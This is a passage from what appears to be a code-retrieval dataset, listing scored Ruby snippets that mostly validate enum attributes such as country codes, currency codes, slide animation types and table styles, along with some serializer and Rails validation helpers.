"text": "def valid?\n country_validator = EnumAttributeValidator.new('String', [\"ZZ\", \"AD\", \"AE\", \"AF\", \"AG\", \"AI\", \"AL\", \"AM\", \"AO\", \"AQ\", \"AR\", \"AS\", \"AT\", \"AU\", \"AW\", \"AX\", \"AZ\", \"BA\", \"BB\", \"BD\", \"BE\", \"BF\", \"BG\", \"BH\", \"BI\", \"BJ\", \"BL\", \"BM\", \"BN\", \"BO\", \"BQ\", \"BR\", \"BS\", \"BT\", \"BV\", \"BW\", \"BY\", \"BZ\", \"CA\", \"CC\", \"CD\", \"CF\", \"CG\", \"CH\", \"CI\", \"CK\", \"CL\", \"CM\", \"CN\", \"CO\", \"CR\", \"CU\", \"CV\", \"CW\", \"CX\", \"CY\", \"CZ\", \"DE\", \"DJ\", \"DK\", \"DM\", \"DO\", \"DZ\", \"EC\", \"EE\", \"EG\", \"EH\", \"ER\", \"ES\", \"ET\", \"FI\", \"FJ\", \"FK\", \"FM\", \"FO\", \"FR\", \"GA\", \"GB\", \"GD\", \"GE\", \"GF\", \"GG\", \"GH\", \"GI\", \"GL\", \"GM\", \"GN\", \"GP\", \"GQ\", \"GR\", \"GS\", \"GT\", \"GU\", \"GW\", \"GY\", \"HK\", \"HM\", \"HN\", \"HR\", \"HT\", \"HU\", \"ID\", \"IE\", \"IL\", \"IM\", \"IN\", \"IO\", \"IQ\", \"IR\", \"IS\", \"IT\", \"JE\", \"JM\", \"JO\", \"JP\", \"KE\", \"KG\", \"KH\", \"KI\", \"KM\", \"KN\", \"KP\", \"KR\", \"KW\", \"KY\", \"KZ\", \"LA\", \"LB\", \"LC\", \"LI\", \"LK\", \"LR\", \"LS\", \"LT\", \"LU\", \"LV\", \"LY\", \"MA\", \"MC\", \"MD\", \"ME\", \"MF\", \"MG\", \"MH\", \"MK\", \"ML\", \"MM\", \"MN\", \"MO\", \"MP\", \"MQ\", \"MR\", \"MS\", \"MT\", \"MU\", \"MV\", \"MW\", \"MX\", \"MY\", \"MZ\", \"NA\", \"NC\", \"NE\", \"NF\", \"NG\", \"NI\", \"NL\", \"NO\", \"NP\", \"NR\", \"NU\", \"NZ\", \"OM\", \"PA\", \"PE\", \"PF\", \"PG\", \"PH\", \"PK\", \"PL\", \"PM\", \"PN\", \"PR\", \"PS\", \"PT\", \"PW\", \"PY\", \"QA\", \"RE\", \"RO\", \"RS\", \"RU\", \"RW\", \"SA\", \"SB\", \"SC\", \"SD\", \"SE\", \"SG\", \"SH\", \"SI\", \"SJ\", \"SK\", \"SL\", \"SM\", \"SN\", \"SO\", \"SR\", \"SS\", \"ST\", \"SV\", \"SX\", \"SY\", \"SZ\", \"TC\", \"TD\", \"TF\", \"TG\", \"TH\", \"TJ\", \"TK\", \"TL\", \"TM\", \"TN\", \"TO\", \"TR\", \"TT\", \"TV\", \"TW\", \"TZ\", \"UA\", \"UG\", \"UM\", \"US\", \"UY\", \"UZ\", \"VA\", \"VC\", \"VE\", \"VG\", \"VI\", \"VN\", \"VU\", \"WF\", \"WS\", \"YE\", \"YT\", \"ZA\", \"ZM\", \"ZW\"])\n return false unless country_validator.valid?(@country)\n return true\n end",
"title": ""
},
{
"docid": "01ae05766f20de61607b667fad9a6158",
"score": "0.57071966",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', ['Appear', 'CurveUpDown', 'Ascend', 'Blast', 'Blinds', 'Blink', 'BoldFlash', 'BoldReveal', 'Boomerang', 'Bounce', 'Box', 'BrushOnColor', 'BrushOnUnderline', 'CenterRevolve', 'ChangeFillColor', 'ChangeFont', 'ChangeFontColor', 'ChangeFontSize', 'ChangeFontStyle', 'ChangeLineColor', 'Checkerboard', 'Circle', 'ColorBlend', 'ColorTypewriter', 'ColorWave', 'ComplementaryColor', 'ComplementaryColor2', 'Compress', 'ContrastingColor', 'Crawl', 'Credits', 'Custom', 'Darken', 'Desaturate', 'Descend', 'Diamond', 'Dissolve', 'EaseInOut', 'Expand', 'Fade', 'FadedSwivel', 'FadedZoom', 'FlashBulb', 'FlashOnce', 'Flicker', 'Flip', 'Float', 'Fly', 'Fold', 'Glide', 'GrowAndTurn', 'GrowShrink', 'GrowWithColor', 'Lighten', 'LightSpeed', 'MediaPause', 'MediaPlay', 'MediaStop', 'Path4PointStar', 'Path5PointStar', 'Path6PointStar', 'Path8PointStar', 'PathArcDown', 'PathArcLeft', 'PathArcRight', 'PathArcUp', 'PathBean', 'PathBounceLeft', 'PathBounceRight', 'PathBuzzsaw', 'PathCircle', 'PathCrescentMoon', 'PathCurvedSquare', 'PathCurvedX', 'PathCurvyLeft', 'PathCurvyRight', 'PathCurvyStar', 'PathDecayingWave', 'PathDiagonalDownRight', 'PathDiagonalUpRight', 'PathDiamond', 'PathDown', 'PathEqualTriangle', 'PathFigure8Four', 'PathFootball', 'PathFunnel', 'PathHeart', 'PathHeartbeat', 'PathHexagon', 'PathHorizontalFigure8', 'PathInvertedSquare', 'PathInvertedTriangle', 'PathLeft', 'PathLoopdeLoop', 'PathNeutron', 'PathOctagon', 'PathParallelogram', 'PathPeanut', 'PathPentagon', 'PathPlus', 'PathPointyStar', 'PathRight', 'PathRightTriangle', 'PathSCurve1', 'PathSCurve2', 'PathSineWave', 'PathSpiralLeft', 'PathSpiralRight', 'PathSpring', 'PathSquare', 'PathStairsDown', 'PathSwoosh', 'PathTeardrop', 'PathTrapezoid', 'PathTurnDown', 'PathTurnRight', 'PathTurnUp', 'PathTurnUpRight', 'PathUp', 'PathUser', 'PathVerticalFigure8', 'PathWave', 'PathZigzag', 'Peek', 'Pinwheel', 'Plus', 'RandomBars', 'RandomEffects', 'RiseUp', 'Shimmer', 'Sling', 'Spin', 'Spinner', 'Spiral', 'Split', 'Stretch', 'Strips', 'StyleEmphasis', 'Swish', 'Swivel', 'Teeter', 'Thread', 'Transparency', 'Unfold', 'VerticalGrow', 'Wave', 'Wedge', 'Wheel', 'Whip', 'Wipe', 'Magnify', 'Zoom', 'OLEObjectShow', 'OLEObjectEdit', 'OLEObjectOpen'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"title": ""
},
{
"docid": "0bc1128f4beb4af030e8814b0da2d801",
"score": "0.5699748",
"text": "def enum_validator(sym, values, opts=nil)\r\n opts ||= {}\r\n default = (opts.key?(:default)) ? opts[:default] : values[0]\r\n message = opts[:message] || \"should be one of #{values.join ', '}\"\r\n allow_nil = opts[:allow_nil] || false\r\n\r\n my_const_set sym, 'ENUM_VALUES', values\r\n my_const_set sym, 'ENUM_DEFAULT', default\r\n my_const_set sym, 'VALIDATION_MESSAGE', message\r\n my_const_set sym, 'DB_OPTS', { :limit => values, :null => allow_nil, :default => default }\r\n\r\n validates_inclusion_of sym, :in => values, :message => message, :allow_nil => allow_nil\r\n end",
"title": ""
},
{
"docid": "f392c181864a13ef6567e80e653689de",
"score": "0.5697976",
"text": "def legal_form=(legal_form)\n validator = EnumAttributeValidator.new('String', ['1000', '1100', '1200', '1300', '1400', '1500', '1600', '1700', '1800', '1900', '2110', '2120', '2210', '2220', '2310', '2320', '2385', '2400', '2700', '2900', '3110', '3120', '3205', '3210', '3220', '3290', '4110', '4120', '4130', '4140', '4150', '4160', '5191', '5192', '5193', '5194', '5195', '5196', '5202', '5203', '5306', '5307', '5308', '5309', '5385', '5410', '5415', '5422', '5426', '5430', '5431', '5432', '5442', '5443', '5451', '5453', '5454', '5455', '5458', '5459', '5460', '5485', '5498', '5499', '5505', '5510', '5515', '5520', '5522', '5525', '5530', '5531', '5532', '5542', '5543', '5546', '5547', '5548', '5551', '5552', '5553', '5554', '5555', '5558', '5559', '5560', '5585', '5599', '5605', '5610', '5615', '5620', '5622', '5625', '5630', '5631', '5632', '5642', '5643', '5646', '5647', '5648', '5651', '5652', '5653', '5654', '5655', '5658', '5659', '5660', '5685', '5699', '5710', '5720', '5785', '5800', '6100', '6210', '6220', '6316', '6317', '6318', '6411', '6521', '6532', '6533', '6534', '6535', '6536', '6537', '6538', '6539', '6540', '6541', '6542', '6543', '6544', '6551', '6554', '6558', '6560', '6561', '6562', '6563', '6564', '6565', '6566', '6567', '6568', '6569', '6571', '6572', '6573', '6574', '6575', '6576', '6577', '6578', '6585', '6588', '6589', '6595', '6596', '6597', '6598', '6599', '6901', '7111', '7112', '7113', '7120', '7150', '7160', '7171', '7172', '7179', '7190', '7210', '7220', '7225', '7229', '7230', '7312', '7313', '7314', '7321', '7322', '7323', '7331', '7340', '7341', '7342', '7343', '7344', '7345', '7346', '7347', '7348', '7349', '7351', '7352', '7353', '7354', '7355', '7356', '7361', '7362', '7363', '7364', '7365', '7366', '7371', '7372', '7373', '7378', '7379', '7381', '7382', '7383', '7384', '7385', '7389', '7410', '7430', '7450', '7470', '7490', '8110', '8120', '8130', '8140', '8150', '8160', '8170', '8190', '8210', '8250', '8290', '8310', '8311', '8410', '8420', '8450', '8470', '8490', '8510', '8520', '9110', '9150', '9210', '9220', '9221', '9222', '9223', '9224', '9230', '9240', '9260', '9300', '9900', '9970'])\n unless validator.valid?(legal_form)\n fail ArgumentError, 'invalid value for \"legal_form\", must be one of #{validator.allowable_values}.'\n end\n @legal_form = legal_form\n end",
"title": ""
},
{
"docid": "f741c9ca645e5667a9637cbdd35ef98b",
"score": "0.56785256",
"text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"arity\", @arity)\n writer.write_enum_value(\"multivaluedComparisonType\", @multivalued_comparison_type)\n writer.write_collection_of_object_values(\"supportedAttributeTypes\", @supported_attribute_types)\n end",
"title": ""
},
{
"docid": "ef543a39cb61fc92dc80acd0cd8c67da",
"score": "0.56763387",
"text": "def country=(country)\n validator = EnumAttributeValidator.new('String', [\"ZZ\", \"AD\", \"AE\", \"AF\", \"AG\", \"AI\", \"AL\", \"AM\", \"AO\", \"AQ\", \"AR\", \"AS\", \"AT\", \"AU\", \"AW\", \"AX\", \"AZ\", \"BA\", \"BB\", \"BD\", \"BE\", \"BF\", \"BG\", \"BH\", \"BI\", \"BJ\", \"BL\", \"BM\", \"BN\", \"BO\", \"BQ\", \"BR\", \"BS\", \"BT\", \"BV\", \"BW\", \"BY\", \"BZ\", \"CA\", \"CC\", \"CD\", \"CF\", \"CG\", \"CH\", \"CI\", \"CK\", \"CL\", \"CM\", \"CN\", \"CO\", \"CR\", \"CU\", \"CV\", \"CW\", \"CX\", \"CY\", \"CZ\", \"DE\", \"DJ\", \"DK\", \"DM\", \"DO\", \"DZ\", \"EC\", \"EE\", \"EG\", \"EH\", \"ER\", \"ES\", \"ET\", \"FI\", \"FJ\", \"FK\", \"FM\", \"FO\", \"FR\", \"GA\", \"GB\", \"GD\", \"GE\", \"GF\", \"GG\", \"GH\", \"GI\", \"GL\", \"GM\", \"GN\", \"GP\", \"GQ\", \"GR\", \"GS\", \"GT\", \"GU\", \"GW\", \"GY\", \"HK\", \"HM\", \"HN\", \"HR\", \"HT\", \"HU\", \"ID\", \"IE\", \"IL\", \"IM\", \"IN\", \"IO\", \"IQ\", \"IR\", \"IS\", \"IT\", \"JE\", \"JM\", \"JO\", \"JP\", \"KE\", \"KG\", \"KH\", \"KI\", \"KM\", \"KN\", \"KP\", \"KR\", \"KW\", \"KY\", \"KZ\", \"LA\", \"LB\", \"LC\", \"LI\", \"LK\", \"LR\", \"LS\", \"LT\", \"LU\", \"LV\", \"LY\", \"MA\", \"MC\", \"MD\", \"ME\", \"MF\", \"MG\", \"MH\", \"MK\", \"ML\", \"MM\", \"MN\", \"MO\", \"MP\", \"MQ\", \"MR\", \"MS\", \"MT\", \"MU\", \"MV\", \"MW\", \"MX\", \"MY\", \"MZ\", \"NA\", \"NC\", \"NE\", \"NF\", \"NG\", \"NI\", \"NL\", \"NO\", \"NP\", \"NR\", \"NU\", \"NZ\", \"OM\", \"PA\", \"PE\", \"PF\", \"PG\", \"PH\", \"PK\", \"PL\", \"PM\", \"PN\", \"PR\", \"PS\", \"PT\", \"PW\", \"PY\", \"QA\", \"RE\", \"RO\", \"RS\", \"RU\", \"RW\", \"SA\", \"SB\", \"SC\", \"SD\", \"SE\", \"SG\", \"SH\", \"SI\", \"SJ\", \"SK\", \"SL\", \"SM\", \"SN\", \"SO\", \"SR\", \"SS\", \"ST\", \"SV\", \"SX\", \"SY\", \"SZ\", \"TC\", \"TD\", \"TF\", \"TG\", \"TH\", \"TJ\", \"TK\", \"TL\", \"TM\", \"TN\", \"TO\", \"TR\", \"TT\", \"TV\", \"TW\", \"TZ\", \"UA\", \"UG\", \"UM\", \"US\", \"UY\", \"UZ\", \"VA\", \"VC\", \"VE\", \"VG\", \"VI\", \"VN\", \"VU\", \"WF\", \"WS\", \"YE\", \"YT\", \"ZA\", \"ZM\", \"ZW\"])\n unless validator.valid?(country)\n fail ArgumentError, \"invalid value for 'country', must be one of #{validator.allowable_values}.\"\n end\n @country = country\n end",
"title": ""
},
{
"docid": "c328fd8345a69d9ffb9f63b4db1acb76",
"score": "0.5669188",
"text": "def valid?\n currency_code_validator = EnumAttributeValidator.new('String', [\"AED\", \"AFN\", \"ALL\", \"AMD\", \"ANG\", \"AOA\", \"ARS\", \"AUD\", \"AWG\", \"AZN\", \"BAM\", \"BBD\", \"BDT\", \"BGN\", \"BHD\", \"BIF\", \"BMD\", \"BND\", \"BOB\", \"BOV\", \"BRL\", \"BSD\", \"BTN\", \"BWP\", \"BYR\", \"BZD\", \"CAD\", \"CDF\", \"CHE\", \"CHF\", \"CHW\", \"CLF\", \"CLP\", \"CNY\", \"COP\", \"COU\", \"CRC\", \"CUC\", \"CUP\", \"CVE\", \"CZK\", \"DJF\", \"DKK\", \"DOP\", \"DZD\", \"EGP\", \"ERN\", \"ETB\", \"EUR\", \"FJD\", \"FKP\", \"GBP\", \"GEL\", \"GHS\", \"GIP\", \"GMD\", \"GNF\", \"GTQ\", \"GYD\", \"HKD\", \"HNL\", \"HRK\", \"HTG\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"IQD\", \"IRR\", \"ISK\", \"JMD\", \"JOD\", \"JPY\", \"KES\", \"KGS\", \"KHR\", \"KMF\", \"KPW\", \"KRW\", \"KWD\", \"KYD\", \"KZT\", \"LAK\", \"LBP\", \"LKR\", \"LRD\", \"LSL\", \"LTL\", \"LVL\", \"LYD\", \"MAD\", \"MDL\", \"MGA\", \"MKD\", \"MMK\", \"MNT\", \"MOP\", \"MRO\", \"MUR\", \"MVR\", \"MWK\", \"MXN\", \"MXV\", \"MYR\", \"MZN\", \"NAD\", \"NGN\", \"NIO\", \"NOK\", \"NPR\", \"NZD\", \"OMR\", \"PAB\", \"PEN\", \"PGK\", \"PHP\", \"PKR\", \"PLN\", \"PYG\", \"QAR\", \"RON\", \"RSD\", \"RUB\", \"RWF\", \"SAR\", \"SBD\", \"SCR\", \"SDG\", \"SEK\", \"SGD\", \"SHP\", \"SLL\", \"SOS\", \"SRD\", \"SSP\", \"STD\", \"SVC\", \"SYP\", \"SZL\", \"THB\", \"TJS\", \"TMT\", \"TND\", \"TOP\", \"TRY\", \"TTD\", \"TWD\", \"TZS\", \"UAH\", \"UGX\", \"USD\", \"USN\", \"USS\", \"UYI\", \"UYU\", \"UZS\", \"VEF\", \"VND\", \"VUV\", \"WST\", \"XAF\", \"XAG\", \"XAU\", \"XBA\", \"XBB\", \"XBC\", \"XBD\", \"XCD\", \"XDR\", \"XOF\", \"XPD\", \"XPF\", \"XPT\", \"XTS\", \"XXX\", \"YER\", \"ZAR\", \"ZMK\", \"ZMW\", \"BTC\"])\n return false unless currency_code_validator.valid?(@currency_code)\n return true\n end",
"title": ""
},
{
"docid": "bf3d36bad4e5502df67ae10502525859",
"score": "0.5650387",
"text": "def attr_status(*statuses)\n statuses.each do |status|\n define_method(\"#{status}!\".to_sym) { status!(status.to_sym) }\n define_method(\"#{status}?\".to_sym) { status?(status.to_sym) }\n protected \"#{status}!\".to_sym\n end\n end",
"title": ""
},
{
"docid": "488932cbd8336d7c1006b95ab09ef24d",
"score": "0.56488466",
"text": "def has_enumerated?(attribute)\n return false if attribute.nil?\n enumerated_attributes.include? attribute.to_s\n end",
"title": ""
},
{
"docid": "dab1835cab11879f4568621b568e25d8",
"score": "0.56465924",
"text": "def validates_acceptance_of(*attr_names); end",
"title": ""
},
{
"docid": "dab1835cab11879f4568621b568e25d8",
"score": "0.56465924",
"text": "def validates_acceptance_of(*attr_names); end",
"title": ""
},
{
"docid": "bc381d220261d0c14294b0afffdd2a1a",
"score": "0.5630529",
"text": "def attrib_bits_valid; end",
"title": ""
},
{
"docid": "488c2884dcbb7c7fee190768699077e1",
"score": "0.5606922",
"text": "def integer_enums=(enums)\n if self.atype == Atype_Integer_Enum\n attribute_ranges.clear\n enums.each_with_index do |ar, ix|\n priority = nil\n if ar[:single]\n ar_low = ar[:single]\n else\n ar_low = ar[:low]\n priority = ar[:priority]\n end\n priority = ix + 1 if priority.blank?\n begin\n ar_low = Integer(ar_low)\n rescue\n next\n end\n attribute_ranges << \n AttributeRange.new(:integer_val_low => ar_low,\n :units_low => ar[:units_low], :priority => priority)\n end\n end\n end",
"title": ""
},
{
"docid": "ade632ea1adb24e5cc374e365a4d9255",
"score": "0.56061995",
"text": "def enum_accessor(attribute, assignable_values)\n mapping[attribute] = assignable_values.map(&:intern)\n\n self.class.instance_eval do\n define_method(\"#{attribute}_values\") { mapping[attribute] }\n end\n\n self.class_eval do\n define_method(\"#{attribute}\") { instance_variable_get(\"@#{attribute}\") }\n define_method \"#{attribute}=\" do |value|\n raise NotEnumValueError, 'Value is not permitted' if value && !self.class.mapping[attribute].include?(value.intern)\n instance_variable_set(\"@#{attribute}\", value ? value.intern : nil)\n end\n end\n end",
"title": ""
},
{
"docid": "799c558ea31390693a8eb16b0563ae17",
"score": "0.55761874",
"text": "def validate_enum!(enum)\n raise IncorrectTraversalStrategyError, enum unless enum.respond_to? :each\n end",
"title": ""
},
{
"docid": "d9bc9ced5940fecaff78acf47a5c6158",
"score": "0.5571792",
"text": "def style=(style)\n validator = EnumAttributeValidator.new('String', ['None', 'MediumStyle2Accent1', 'MediumStyle2', 'NoStyleNoGrid', 'ThemedStyle1Accent1', 'ThemedStyle1Accent2', 'ThemedStyle1Accent3', 'ThemedStyle1Accent4', 'ThemedStyle1Accent5', 'ThemedStyle1Accent6', 'NoStyleTableGrid', 'ThemedStyle2Accent1', 'ThemedStyle2Accent2', 'ThemedStyle2Accent3', 'ThemedStyle2Accent4', 'ThemedStyle2Accent5', 'ThemedStyle2Accent6', 'LightStyle1', 'LightStyle1Accent1', 'LightStyle1Accent2', 'LightStyle1Accent3', 'LightStyle1Accent4', 'LightStyle2Accent5', 'LightStyle1Accent6', 'LightStyle2', 'LightStyle2Accent1', 'LightStyle2Accent2', 'LightStyle2Accent3', 'MediumStyle2Accent3', 'MediumStyle2Accent4', 'MediumStyle2Accent5', 'LightStyle2Accent6', 'LightStyle2Accent4', 'LightStyle3', 'LightStyle3Accent1', 'MediumStyle2Accent2', 'LightStyle3Accent2', 'LightStyle3Accent3', 'LightStyle3Accent4', 'LightStyle3Accent5', 'LightStyle3Accent6', 'MediumStyle1', 'MediumStyle1Accent1', 'MediumStyle1Accent2', 'MediumStyle1Accent3', 'MediumStyle1Accent4', 'MediumStyle1Accent5', 'MediumStyle1Accent6', 'MediumStyle2Accent6', 'MediumStyle3', 'MediumStyle3Accent1', 'MediumStyle3Accent2', 'MediumStyle3Accent3', 'MediumStyle3Accent4', 'MediumStyle3Accent5', 'MediumStyle3Accent6', 'MediumStyle4', 'MediumStyle4Accent1', 'MediumStyle4Accent2', 'MediumStyle4Accent3', 'MediumStyle4Accent4', 'MediumStyle4Accent5', 'MediumStyle4Accent6', 'DarkStyle1', 'DarkStyle1Accent1', 'DarkStyle1Accent2', 'DarkStyle1Accent3', 'DarkStyle1Accent4', 'DarkStyle1Accent5', 'DarkStyle1Accent6', 'DarkStyle2', 'DarkStyle2Accent1Accent2', 'DarkStyle2Accent3Accent4', 'DarkStyle2Accent5Accent6', 'LightStyle1Accent5', 'Custom'])\n unless validator.valid?(style)\n fail ArgumentError, 'invalid value for \"style\", must be one of #{validator.allowable_values}.'\n end\n @style = style\n end",
"title": ""
},
{
"docid": "977c18580a3b1ddadf71ecf8af2fc24f",
"score": "0.5507914",
"text": "def enum_accessor(attribute, assignable_values)\n mapping[attribute] = assignable_values.map(&:intern)\n\n self.class.instance_eval do\n define_method(\"#{attribute}_values\") { mapping[attribute] }\n end\n\n class_eval do\n define_method(attribute.to_s) { instance_variable_get(\"@#{attribute}\") }\n define_method \"#{attribute}=\" do |value|\n raise NotEnumValueError, 'Value is not permitted' if value && !self.class.mapping[attribute].include?(value.intern)\n\n instance_variable_set(\"@#{attribute}\", value ? value.intern : nil)\n end\n end\n\n nil\n end",
"title": ""
},
{
"docid": "718b23940a620946bc84a2b0e1a210a1",
"score": "0.54975057",
"text": "def bad_attribute(attribute, values)\n \"#{attribute} must be one of #{values.map(&:inspect).join(\", \")}\"\n end",
"title": ""
},
{
"docid": "dce9facac4a142349af44f00a92abc9a",
"score": "0.54973376",
"text": "def it_should_allow_values_for(attribute, *good_values)\n get_options!(good_values)\n klass = self.described_type\n good_values.each do |v|\n describe \"allows #{attribute} to be set to #{v.inspect}\" do\n assert_good_value(klass, attribute, v)\n end\n end\n end",
"title": ""
},
{
"docid": "c27b19e88fdd6da71c27e54ef6aa85cf",
"score": "0.5497077",
"text": "def should_allow_values_for(attribute, *good_values)\n get_options!(good_values)\n klass = model_class\n klass = model_class\n good_values.each do |value|\n matcher = allow_value(value).for(attribute)\n should matcher.description do\n assert_accepts matcher, get_instance_of(klass)\n end\n end\n end",
"title": ""
},
{
"docid": "61d3f6fcb634b4dcf4de166cba3324ff",
"score": "0.54929817",
"text": "def validates_attr(name, options = {})\n name = :\"attribute_#{name}\"\n\n if (choices = options.delete(:choices))\n supported_choices = choices.map do |c|\n c.is_a?(String) ? c.to_sym : c.to_s\n end.concat(choices)\n\n choices = choices.map(&:inspect).to_sentence(last_word_connector: \", or \")\n message = \"\\\"%<value>s\\\" is not valid. Options include: #{choices}.\"\n\n options.merge!(inclusion: { in: supported_choices, message: message })\n end\n\n validates(name, options)\n end",
"title": ""
},
{
"docid": "c25a6cf764135f341117cbdb179eb6a8",
"score": "0.54901814",
"text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"cloudAppSecurityType\", @cloud_app_security_type)\n end",
"title": ""
},
{
"docid": "8be2f363738b2de37fd7cdb9a36bdb67",
"score": "0.54822206",
"text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"type\", @type)\n end",
"title": ""
},
{
"docid": "b567cfe3d53ce0cee192e447edb4f550",
"score": "0.54564905",
"text": "def validate_enum(current_schema, data, fragments)\n if !current_schema.schema['enum'].include?(data)\n message = \"The property '#{build_fragment(fragments)}' did not match one of the following values:\"\n current_schema.schema['enum'].each {|val|\n if val.is_a?(NilClass)\n message += \" null,\"\n elsif val.is_a?(Array)\n message += \" (array),\"\n elsif val.is_a?(Hash)\n message += \" (object),\"\n else\n message += \" #{val.to_s},\"\n end\n }\n message.chop!\n raise ValidationError.new(message, fragments, current_schema)\n end\n end",
"title": ""
},
{
"docid": "4720ede289047948698982892c450ba1",
"score": "0.54539317",
"text": "def define_enum_setter(enum_name)\n method_name = \"#{ enum_name }=\"\n raise RuntimeError.new \"The method #{ method_name } already exists on this class.\" if respond_to? method_name\n\n define_method method_name do |*values|\n enumeration = rd_bitwise_enumerations[enum_name][:values].select{ |k,v| values.flatten.include?(k) }\n instance_variable_name = \"@#{ enum_name }\".to_sym\n\n ## Using a Bitwise \"|\" (OR) we will combine all of our flags\n ## to create the value to be stored.\n ##\n instance_variable_set instance_variable_name.to_sym, enumeration.map{ |k,v| v }.reduce(0) { |result, n| result | n }\n end\n end",
"title": ""
},
{
"docid": "a5247474e69ad6546ee0119b7968dd7b",
"score": "0.54443806",
"text": "def valid_attributes\n [:default_value, :format, :list, :required, :type, :values]\n end",
"title": ""
},
{
"docid": "06bfe8bd8c28b7b57ee3090d2a804ebf",
"score": "0.54305285",
"text": "def check_ranged_param(ranged_param, allowed)\n 🔞 = ranged_param.keys.map(&:to_sym) - allowed.map(&:to_sym)\n raise InvalidRangeException, \"Attributes #{🔞.map(&:to_s).to_sentence} doesn't exists or aren't rangeables. Available ranges are: #{allowed.to_sentence}\" if 🔞.any?\n end",
"title": ""
},
{
"docid": "2a27a0daa7c74798cc6f47a01e3affbb",
"score": "0.5416007",
"text": "def valid_attribute?(tag, attribute)\n if LIMITED_ATTRIBUTES.key?(attribute.to_sym)\n return LIMITED_ATTRIBUTES[attribute.to_sym].include?(tag.to_sym)\n end\n return !FORBIDDEN_ATTRIBUTES.include?(attribute)\n end",
"title": ""
},
{
"docid": "9c046178bf04c989733be8cad495b654",
"score": "0.5415998",
"text": "def attribute(name, type = Type::Value.new, *args, **options)\n arg_options = args.each_with_object({}) { |arg, hsh| hsh[arg.to_sym] = true }\n options = arg_options.merge options\n\n type = check_allowed_type type\n options[:of] = check_allowed_type(options[:of]) if options.key?(:of)\n\n attribute_metadata name, type, options\n\n build_attribute_aliases name, options\n\n options = Validations.build_for(self, name)\n\n super(name, type, **options)\n end",
"title": ""
},
{
"docid": "2a28378335565698a8d97c2e9ca62f13",
"score": "0.54136235",
"text": "def do_validate(_name, value, errors)\n errors.add(\"invalid type '#{value}'\") unless @allowed_values.include?(value)\n end",
"title": ""
},
{
"docid": "55b7551ca2a16c905eb7c3a540be4ea3",
"score": "0.54103464",
"text": "def define_active_enum_write_method(attribute)\n old_method = \"#{attribute}_without_enum=\"\n define_method(\"#{attribute}_with_enum=\") do |arg|\n enum = self.class.enum_for(attribute)\n if arg.is_a?(Symbol)\n value = enum[arg]\n send(old_method, value)\n else\n send(old_method, arg)\n end\n end\n\n alias_method_chain \"#{attribute}=\".to_sym, :enum\n end",
"title": ""
},
{
"docid": "a34fd2533b915aa938ed0963f3ae7b79",
"score": "0.5398419",
"text": "def all_values\n attr = attribute\n vals = values_methods\n\n enum_klass = subtype.klass\n model_klass = klass\n\n # TODO: Rewrite these as string\n enum_module.module_eval do\n vals.each do |val, list|\n # scope :disabled, -> { where(status: 'disabled') }\n model_klass.scope list[0], -> do\n where(enum_klass.scope(arel_table[attr], val))\n end\n\n # def disabled? status.disabled? end\n define_method(list[1]) { send(attr).public_send(\"#{val}?\") }\n\n # def disabled!\n # changed = send(attr).public_send(\"#{val}!\")\n # save! if changed && enum_save_on_bang\n # true\n define_method(list[2]) do\n changed = send(attr).public_send(\"#{val}!\")\n return save! if changed && enum_save_on_bang\n true\n end\n end\n end\n end",
"title": ""
},
{
"docid": "26732fa1c8bfc5d6f163fcfe9a286583",
"score": "0.53925717",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"None\", \"Area\", \"Arrow\", \"Distance\", \"Ellipse\", \"Link\", \"Point\", \"Polyline\", \"ResourcesRedaction\", \"TextField\", \"TextHighlight\", \"TextRedaction\", \"TextReplacement\", \"TextStrikeout\", \"TextUnderline\", \"Watermark\", \"Image\", \"TextSquiggly\"])\n if type.to_i == 0\n unless validator.valid?(type)\n # raise ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n @type = validator.allowable_values[type.to_i]\n end\n @type = type\n else\n @type = validator.allowable_values[type.to_i]\n end\n end",
"title": ""
},
{
"docid": "9ca3e42b86b1d357fc5bdf80a9b8d9cb",
"score": "0.53830594",
"text": "def update_allowed_values\n self.url_allowed = true if url_required\n self.description_allowed = true if description_required\n\n TagSet::TAG_TYPES.each do |tag_type|\n required = eval(\"#{tag_type}_num_required\") || eval(\"self.#{tag_type}_num_required\") || 0\n allowed = eval(\"#{tag_type}_num_allowed\") || eval(\"self.#{tag_type}_num_allowed\") || 0\n if required > allowed\n eval(\"self.#{tag_type}_num_allowed = required\")\n end\n end\n end",
"title": ""
},
{
"docid": "d935a0603851a101823039c5e5bdf695",
"score": "0.5367287",
"text": "def validates_acceptance_of(*attr_names)\n configuration = { :message => ActiveRecord::Errors.default_error_messages[:accepted], :on => :save }\n configuration.update(attr_names.pop) if attr_names.last.is_a?(Hash)\n\n for attr_name in attr_names\n attr_accessor(attr_name)\n class_eval(%(#{validation_method(configuration[:on])} %{errors.add('#{attr_name}', '#{configuration[:message]}') unless #{attr_name}.nil? or #{attr_name} == \"1\"}))\n end\n end",
"title": ""
},
{
"docid": "9c088abf83d514d7a2552c2120dfa025",
"score": "0.53661186",
"text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"mode\", @mode)\n end",
"title": ""
},
{
"docid": "e920ed00ab3733a5e7b6e9b884733a9c",
"score": "0.53581494",
"text": "def role_enum=(role)\n write_attribute(:role, role)\n end",
"title": ""
},
{
"docid": "f187aca54cfe93d01eefb4eb3e43f331",
"score": "0.53529567",
